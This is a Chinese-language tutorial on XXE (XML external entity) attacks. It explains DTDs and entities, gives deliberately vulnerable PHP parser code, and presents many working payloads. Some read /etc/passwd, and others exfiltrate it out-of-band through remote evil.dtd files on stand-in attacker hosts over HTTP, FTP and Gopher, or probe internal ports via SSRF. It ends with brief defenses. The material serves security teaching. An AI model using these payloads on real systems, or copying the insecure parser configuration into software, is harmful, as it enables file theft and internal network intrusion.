XML简介
本节内容结合了《Web hacking 101》,链接在本文末尾,此书不错,基于hackerone上的案例编写的。
稍微完善了下本节内容,去起来更为通顺。
元语言是用于描述其它语言的语言,这就是 XML。XML没有预定义的标签。创建 XML 文档的人可以定义它们自己的标签,来描述展示的内容。
一个有效的 XML 文档之所以有效,是因为它遵循了 XML 的通用规则,并且它匹配了它的文档类型定义(DTD
全称 document type definition
)。
XML DTD
就像是所使用的标签的定义文档,并且由 XML 设计者或作者开发。DTD 定义了存在什么标签,它们拥有什么属性,以及其它元素里面有什么元素等等。
基本语法 <!ELEMENT 元素名 类型>
下面是 DTD 文件的样子:
<!ELEMENT Jobs (Job)*>
<!ELEMENT Job (Title, Compensation, Responsiblity)>
<!ELEMENT Title (#PCDATA)>
<!ELEMENT Compenstaion (#PCDATA)>
<!ELEMENT Responsibility(#PCDATA)>
<!ATTLIST Responsibility optional CDATA "0">
XML 文档并不包含标签定义,但可以将 DTD 包含在 XML 文档内。XML的第一行必须是<!DOCTYPE>
元素。
组合起来如下:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Jobs [
<!ELEMENT Job (Title, Compensation, Responsiblity)>
<!ELEMENT Title (#PCDATA)> <!ELEMENT Compenstaion (#PCDATA)>
<!ELEMENT Responsibility(#PCDATA)>
<!ATTLIST Responsibility optional CDATA "0">
]>
<jobs>
<job>
<title>Hacker</title>
<compensation>1000000</compensation>
<responsibility optional="1">Shot the web</responsibility>
</job>
</jobs>
上面是文档内部DTD的示例。
如果DTD内容太多,全部写入到xml中势必会占用非常大的空间。所以就有了引用外部DTD的存在,而且这样对引用资源所做的任何更改都会在文档中自动更新,非常方便。
外部DTD又分为两类:
- 当引用的DTD文件是本地文件的时候,用
SYSTEM
标识,并写上”DTD的文件路径”,如下:<!DOCTYPE 根元素 SYSTEM "DTD文件路径">
- 如果引用的DTD文件是一个公共的文件时,采用
PUBLIC
标识,<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文件的URL">
这里略去一堆关于DTD元素的知识点……链接
XML ENTITY
(实体)像是一个信息的占位符(变量)。使用!ENTITY
可以定义一个实体,让解析器在解析时获取内容并插入到文档中。实体又分为两类:
- 引用实体,主要在XML文档中被应用,格式
<!ENTITY 实体名称 "实体内容">
,引用方式:&实体名称;
末尾要带上分号,这个引用将直接转变成实体内容。 - 参数实体,被DTD文件自身使用 ,格式
<!ENTITY % 实体名称 "实体内容">
,引用方式为:%实体名称
。
...
<!ELEMENT Website ANY>
<!ENTITY url SYSTEM "website.txt">
]>
<jobs>
<job>
<title>Hacker</title>
<compensation>1000000</compensation>
<responsibility optional="1">Shot the web</responsibility>
<website>&url;</website>
</job>
</jobs>
添加了Website
的!ELEMENT
(元素),而且属性是ANY
,这意味着Website
可以包含任何可解析的数据组合。
定义了一个!ENTITY
,带有SYSTEM
类型说明是外部实体,告诉解析器获取website.txt
文件的数据。如果在这里把website.txt
换成file:///etc/passwd
的话……
在XML
的解析中包含外部实体时,XXE 攻击就发生了。因为解析器只管解析,而不管这个解析是不是恶意的。
常见攻击方式
有回显的情况下
试验代码
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
这里定义了一个xxe对象,然后在description节点引用。
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
服务器会返回以下结果
{"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...
但是如果要读取的文件内容有<> &
,被解析器解析出错了怎么办,可以使用<![CDATA[xxxx]]>
不让其进行解析。
<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY % start "<![CDATA[">
<!ENTITY % body SYSTEM "file:///tmp/test.txt" >
<!ENTITY % end "]]>">
<!ENTITY xxe "%start;%body;%end;">
]>
注意这里声明的另一种方式% 变量
(有空格),该方式只能在DTD中进行变量引用%变量
,而不能在XML中引用。
改为引用远程服务器上的DTD
<?xml version="1.0"?>
<!DOCTYPE GVI [
<!ENTITY % start "<![CDATA[">
<!ENTITY % body SYSTEM "file:///tmp/test.txt" >
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd">
%dtd;
]>
evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY xxe "%start;%body;%end;">
另外一种方法,利用报错
将含有参数实体的数据传递到另一个文件实体中,以便在访问第二个文件时触发文件未找到的异常,并且将第一个文件的内容作为第二个文件的名字,这样的话,就成功出发了文件未找到异常,也完全返回了第一个文件的内容。
提交
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY % one SYSTEM "http://evil.com/evil.dtd" >
%one; %two; %four;
]>
evil.dtd
<!ENTITY % three SYSTEM "file:///etc/passwd">
<!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
不能回显的时候
渗出(外带)利用——将数据主动带出去
并且固定远程DTD地址,就无需频繁修改payload,只需修改DTD内容即可实现不同的攻击。
基于URL的OOB数据泄露只能泄露一行文件内容(因为CRLF会分割URL)。
在java中,http只能读取单行文件。使用ftp 进行 oob 时对版本有限制, <7u141 和 <8u162 才可以读取整个文件。 https://www.leadroyal.cn/?p=914
其他语言尚未测试。
注意:不能直接在参数实体的定义中引用参数实体
http协议
服务端测试代码
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd">
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
xxe_file.dtd
<!ENTITY % file SYSTEM php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>">
%all;
远程服务器用nc
监听即可看到请求(图略)
但是我还看到另外一种payload
post
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/evil.dtd">
%remote;%int;%send;
]>
evil.dtd,注意这里的% send
,%
实体转义了。
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ATTACKESERVER.com?p=%file;'>">
Java Problems (<1.7)
post
<?xml version="1.0"?>
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://1.3.3.7/evil.dtd"> %remote; %intern; %trick; ]>
evil.dtd
<!ENTITY % payl SYSTEM "/"><!ENTITY % intern "<!ENTITY % trick SYSTEM 'http://1.3.3.7/?%payl;'>">
http日志会显示GET /?bin%0Aboot%0Adev%0Aetc....
但是上面两种利用方式,在java中无法正常利用:虽然能获取到dtd文件,但是却没有发送数据。
https://www.tr0y.wang/2019/05/03/XXE%E6%8C%87%E5%8C%97/index.html
因为这是将 payload 执行的结果直接嵌入到 DTD 里去了,我们没法保证 payload 的结果的格式满足 DTD 的要求,所以可能会导致程序报错。
ftp协议
post
<?xml version="1.0"?>
<!DOCTYPE cdl [<!ENTITY % asd SYSTEM "http://xxe.sh/evil.dtd">%asd;%c;]>
<cdl>&rrr;</cdl>
evil.dtd
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY rrr SYSTEM 'ftp://xxe.sh:2121/%d;'>">
Gopher
Oracle JDK版本中删除了对gopher方案的支持,后来又支持的最后一个版本是1.7 update 7 和 1.6 update 35(7u9和6u35)。实测6u45已无法使用gopher协议。
post
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE gpx [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://xxe.me/evil2.dtd">
%dtd;]>
evil.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'gopher://xxe.me:1337/xxe?%file;'>">
%all;
端口扫描
如下,服务器会向本机的8080端口发起访问,攻击者根据响应时间判断是否开放端口。SSRF。
<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>
还可以看看这个链接,利用XXE进行SSRF的实例 https://xz.aliyun.com/t/3357
防御方式
xxe漏洞存在是因为XML解析器解析了用户发送的不可信数据。因此要去校验DTD(document type definition)中SYSTEM标识符定义的数据,并不容易,也不大可能。大部分的XML解析器默认对于XXE攻击是脆弱的。因此,最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。通过设置相应的属性值为false,XML外部实体攻击就能够被阻止。因此,可将外部实体、参数实体和内联DTD 都被设置为false,从而避免基于XXE漏洞的攻击。
各编程语言都有禁用外部实体的代码。上面的链接已经有PHP JAVA Python
的,
我这里补充个.NET
的链接:https://blog.csdn.net/starfd/article/details/80936787
JAVA常见xml库的修复方式:https://blog.spoock.com/2018/10/23/java-xxe/
参考:
https://wizardforcel.gitbooks.io/web-hacking-101/content/14.html
http://blog.0kami.cn/2016/06/28/old-xxe/